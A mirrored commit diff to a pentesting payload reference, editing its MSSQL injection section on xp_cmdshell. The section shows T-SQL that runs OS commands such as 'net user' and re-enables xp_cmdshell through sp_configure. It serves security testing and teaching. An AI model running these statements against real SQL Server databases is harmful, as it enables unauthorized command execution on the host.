mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-01-19 16:10:27 -08:00
SQLmap Custom Tamper and Preprocess Scripts
This commit is contained in:
@@ -265,17 +265,22 @@ execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'
|
||||
|
||||
### XP_CMDSHELL
|
||||
|
||||
`xp_cmdshell` is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).
|
||||
|
||||
```sql
|
||||
EXEC xp_cmdshell "net user";
|
||||
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
|
||||
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
|
||||
```
|
||||
|
||||
If you need to reactivate `xp_cmdshell` (disabled by default in SQL Server 2005)
|
||||
If you need to reactivate `xp_cmdshell`, it is disabled by default in SQL Server 2005.
|
||||
|
||||
```sql
|
||||
-- Enable advanced options
|
||||
EXEC sp_configure 'show advanced options',1;
|
||||
RECONFIGURE;
|
||||
|
||||
-- Enable xp_cmdshell
|
||||
EXEC sp_configure 'xp_cmdshell',1;
|
||||
RECONFIGURE;
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user